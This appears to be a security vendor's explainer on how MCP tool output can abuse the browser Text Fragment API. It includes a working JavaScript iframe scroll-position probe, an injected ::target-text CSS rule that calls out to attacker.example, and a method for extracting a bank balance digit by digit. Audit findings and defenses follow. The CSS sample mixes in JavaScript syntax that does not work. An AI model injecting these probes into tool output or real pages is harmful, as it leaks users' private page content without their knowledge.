MCP Server Security · Text Fragment API · #:~:text= · Scroll-to-Text · Content Existence Probe · :target-text · Cross-Origin Timing

MCP server Text Fragment API security

The Text Fragment API (#:~:text=query URL directive) scrolls a page to matching text and highlights it with no JavaScript required. MCP tool output can use this to probe whether specific sensitive text is present on a page by measuring scroll position after navigation, exploit ::target-text CSS rules as a cross-origin timing oracle, and infer page content through fragment-anchored scroll position leakage — all without triggering JavaScript events or permission dialogs.

Text Fragment API surface

# Text Fragment API — URL syntax
# Chrome 80+, Edge 80+, Safari 16.1+, Firefox 131+
# No JavaScript required. No permission dialog.

# Basic: scroll to text matching "sensitive password"
https://app.example.com/profile#:~:text=sensitive%20password

# With context: text "Balance" followed by "overdrawn"
https://app.example.com/dashboard#:~:text=Balance-,overdrawn

# Range match: from "Account:" to "USD"
https://app.example.com/statement#:~:text=Account:,USD

# Multiple fragments (comma-separated)
https://app.example.com/page#:~:text=error,text=logout

# CSS highlight — browser applies ::target-text automatically
# (default: yellow background)
# Custom style:
::target-text { background: red; color: white; }

No JavaScript event fires on fragment match: browsers intentionally omit a JS event to prevent trivial exploitation. However, scroll position is observable via window.scrollY and element.getBoundingClientRect(), and CSS ::target-text rule application is detectable via resource load timing.

Attack 1 — scroll position content existence probe

When a text fragment matches, the browser scrolls to the matched text. The scroll position after navigation reveals whether the text exists on the page and its approximate vertical location. MCP tool output can inject an iframe pointing to a same-origin page with a text fragment directive, then read the iframe's scroll position.

// Attack: probe whether "account suspended" appears on /dashboard
// Works only for same-origin pages (cross-origin iframes block scrollY access)

async function probeTextExists(path, searchText) {
  const encodedText = encodeURIComponent(searchText);
  const url = `${path}#:~:text=${encodedText}`;

  const iframe = document.createElement('iframe');
  iframe.src = url;
  iframe.style.display = 'none';
  document.body.appendChild(iframe);

  return new Promise(resolve => {
    iframe.onload = () => {
      // Wait for fragment scroll to complete (async after load)
      setTimeout(() => {
        try {
          const scrollY = iframe.contentWindow.scrollY;
          // scrollY > 0 → page scrolled to match → text exists
          // scrollY === 0 → no match → text not on page
          resolve({ exists: scrollY > 0, position: scrollY });
        } catch (e) {
          resolve({ exists: false, error: 'cross-origin' });
        }
        document.body.removeChild(iframe);
      }, 300);
    };
  });
}

// Example: check if user's account has been flagged
const result = await probeTextExists('/dashboard', 'Your account has been suspended');
// { exists: true, position: 847 } → user sees suspension notice

Attack 2 — ::target-text CSS timing oracle

CSS ::target-text rules are applied when a fragment matches. A rule that triggers an external resource load (via background-image: url() or content: url()) fires that request only if matching text was found — creating a timing oracle observable by the server that served the CSS.

/* Malicious CSS injected via MCP tool output (e.g., into a <style> tag) */
/* The background-image URL fires only if ::target-text activates */
::target-text {
  background-image: url('https://attacker.example/probe?match=1&t=' + Date.now());
}

/* More targeted: style only fires if "SSN:" text is highlighted */
/* Combine with fragment URL to target specific sensitive fields */

Cross-origin risk: if MCP tool output can inject CSS into a page that navigates to a text-fragment URL (via window.location or a meta redirect), the ::target-text resource fetch leaks the match result to a third-party server — crossing origins.

Attack 3 — context-anchored enumeration

The text fragment syntax supports prefix and suffix context anchors (text=prefix-,match and text=match,-suffix). An attacker can binary-search page content by progressively narrowing the fragment until the scroll position stabilizes, revealing specific token values.

# Binary search example: does the balance start with $1?
https://bank.example/account#:~:text=Balance:,$1
# If scrollY > 0 → yes

# Refine: does balance start with $1,2?
https://bank.example/account#:~:text=Balance:,$1,2
# Continue until full value extracted (digit by digit)

Browser mitigations and bypasses

MitigationBrowser implementationBypass
No JavaScript event on matchAll browsers (intentional spec decision)Scroll position measurement, CSS resource load timing
Fragment stripped from Referer headerAll browsers (privacy spec)N/A for server-side; client-side scroll still readable
Requires user gesture (navigation)Chrome only for cross-origin top-level navigationSame-origin iframes don't require gesture; history.pushState doesn't
Cross-origin iframe scroll access blockedAll browsers (same-origin policy)Attack only works on same-origin targets — still high value for intra-app probing
Fragment Directives not shown in browser historyChrome, EdgeDoesn't prevent exploitation; just hides evidence

SkillAudit findings

HIGH
Scroll position measurement after fragment navigation — tool reads iframe.contentWindow.scrollY after loading a URL with #:~:text=; enables same-origin page content probing.
HIGH
CSS ::target-text with external resource referencebackground-image or content in ::target-text rule pointing to attacker-controlled server; fires only on fragment match.
MEDIUM
Dynamic #:~:text= URL construction from user data — tool constructs text fragment URLs using session-derived strings; enables targeted content probing against known users.
LOW
window.location assignment with text fragment — tool navigates current page to a text fragment URL; causes visible scroll to sensitive text, increasing user awareness of data being probed.

Defense

Server-side: set Content-Security-Policy: style-src 'self' to prevent injection of ::target-text rules from external stylesheets. Prevent CSS injection in MCP tool output rendering contexts. For same-origin iframe probing, ensure sensitive content is not co-hosted on the same origin as untrusted MCP tool output. The Document-Policy: no-document-write header does not address text fragment exploitation. The only reliable fix is origin isolation.

Audit your MCP server →

Related: Document-Policy security · CSS exfiltration · Speculation Rules security